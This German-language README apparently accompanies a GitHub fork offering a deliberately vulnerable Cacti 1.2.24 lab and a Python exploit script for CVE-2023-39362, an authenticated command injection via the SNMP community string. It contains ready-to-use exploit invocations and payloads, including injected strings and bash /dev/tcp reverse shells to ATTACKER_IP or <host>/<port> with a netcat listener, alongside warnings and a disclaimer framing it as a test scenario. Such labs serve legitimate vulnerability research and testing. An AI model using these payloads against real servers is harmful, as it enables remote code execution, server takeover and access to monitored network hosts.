Command-Injection-Schwachstelle in Cacti (CVE-2023-39362) - PoC

Dieses Repository ist ein Fork dieses Repositories: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application

Cacti ist ein Open-Source-Framework für Betriebsüberwachung und Fehlermanagement, das sich kontinuierlich weiterentwickelt, um den dynamischen Anforderungen seiner Benutzergemeinschaft gerecht zu werden.

In Version 1.2.24 wurde eine potenzielle Sicherheitslücke identifiziert, die als CVE-2023-39362 geführt wird. Unter bestimmten Bedingungen kann ein authentifizierter privilegierter Benutzer eine Schwachstelle in den SNMP-Optionen eines Device ausnutzen, indem er eine bösartige Zeichenkette verwendet, die zu einer Befehlsinjektion führt. Diese Ausnutzung führt zur authentifizierten Ausführung von Remote-Code auf dem zugrunde liegenden Server.

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362

Die Auswirkungen dieser Schwachstelle sind schwerwiegend, da ein Angreifer mit authentifizierten Privilegien die Integrität des Servers, auf dem Cacti gehostet wird, gefährden könnte. Diese Kompromittierung könnte möglicherweise als Einfallstor für unbefugten Zugriff auf andere Hosts im Netzwerk dienen, insbesondere auf die von Cacti überwachten.

Dies ist eine verwundbare Anwendung zum Testen des Exploits für die Cacti-Schwachstelle (CVE-2023-39362).

WARNUNG!

Diese Anwendung enthält schwerwiegende Sicherheitslücken. Nutzung auf eigene Gefahr! Es wird empfohlen, eine gesicherte und geschützte Umgebung zu verwenden (z. B. eine VM mit einem aktuellen Snapshot und Host-only-Netzwerk). Laden Sie diese Anwendung nicht auf Server hoch, die dem Internet ausgesetzt sind, da diese kompromittiert werden.

Haftungsausschluss

Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Der einzige Zweck dieser Anwendung ist es, ein Testszenario für den CVE-2023-39362-Exploit zu sein, und sie sollte nicht böswillig verwendet werden. Wenn Ihr Server durch eine Installation dieser Anwendung kompromittiert wird, liegt das nicht in meiner Verantwortung, sondern in der Verantwortung der Person(en), die sie hochgeladen und installiert haben.**

Verwendung

1. Umgebung einrichten

Hier sind die Schritte zum Einrichten der Umgebung:

1. Führen Sie docker compose up -d aus, um die Komposition zu starten.
2. Sie können die Schritte abschließen, indem Sie http://127.0.0.1/cacti aufrufen, um den Cacti-Initialisierungsassistenten zu starten. Wenn Sie einen Fehler erhalten, der sich auf die Datenbank bezieht, warten Sie einfach einen Moment und aktualisieren Sie die Seite.
3. Die Standard-Zugangsdaten sind admin/admin.
4. Drücken Sie während des Assistenten bei allen Schaltflächen auf "Next" und wählen Sie die Optionen entsprechend aus. Alle Standardeinstellungen sollten in Ordnung sein und alle Pflichtvoraussetzungen sollten erfüllt sein.
5. Melden Sie sich nach der Installation als admin an.
6. Gehen Sie zu "Console" > "Configuration" > "User".
7. Klicken Sie auf den Benutzer guest.
8. "Enable": Aktivieren Sie ihn, legen Sie ein Passwort fest und deaktivieren Sie bei Bedarf die Option "Must Change Password at Next Login".
9. Klicken Sie auf die Schaltfläche "Save".
10. Gehen Sie zum Abschnitt "Permissions".
11. Aktivieren Sie unter "General Administration" die Optionen "Console Access" und "Sites/Devices/Data".
12. Klicken Sie auf die Schaltfläche "Save".
13. Melden Sie sich ab und melden Sie sich als guest erneut an, um den Exploit zu testen.

Die offizielle Installationsanleitung von Cacti finden Sie hier.

Zum Beenden der Umgebung verwenden Sie den Befehl docker compose down.

2. Exploit-Skript ausführen

(Dies ist nur ein möglicher Weg zur Ausnutzung )

Führen Sie den Befehl auf dem Remote-Server aus:

python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof

Öffnen einer Reverse Shell:

nc -lvnp 4242

python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'

3. Manuelle Ausnutzung

1. Gehen Sie zu "Console" > "Create" > "New Device".
2. Erstellen Sie ein Device, das SNMP Version 1 oder 2 unterstützt.
3. Stellen Sie sicher, dass das Device über Graphs mit einer oder mehreren der folgenden Vorlagen verfügt:
   • "Net-SNMP - Combined SCSI Disk Bytes"
   • "Net-SNMP - Combined SCSI Disk I/O"
   • (Die Erstellung des Devices aus der Vorlage "Net-SNMP Device" erfüllt die Graphs-Voraussetzung)
4. Verwenden Sie im Bereich "SNMP Options" für das Feld "SNMP Community String" einen Wert wie diesen: public\' ; touch /tmp/proof ; \'.
5. Klicken Sie auf die Schaltfläche "Create".
6. Prüfen Sie unter /tmp das Vorhandensein der erstellten Datei.

Um eine Reverse Shell zu erhalten, kann ein Payload wie der folgende verwendet werden.

public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'

Grundursache

Eine detaillierte Grundursache der Schwachstelle ist in der ursprünglichen Sicherheitsempfehlung oder im Blogbeitrag des ursprünglichen Autors verfügbar.

Autoren

• Antonio Francesco Sardella - Melder der Schwachstelle - m3ssap0
• Akos Jakab - Automatisierung der Ausnutzung über ein Python-Skript - jakabakos

Lizenz

Dieses Projekt ist unter der Unlicense lizenziert - siehe die Datei LICENSE für Details.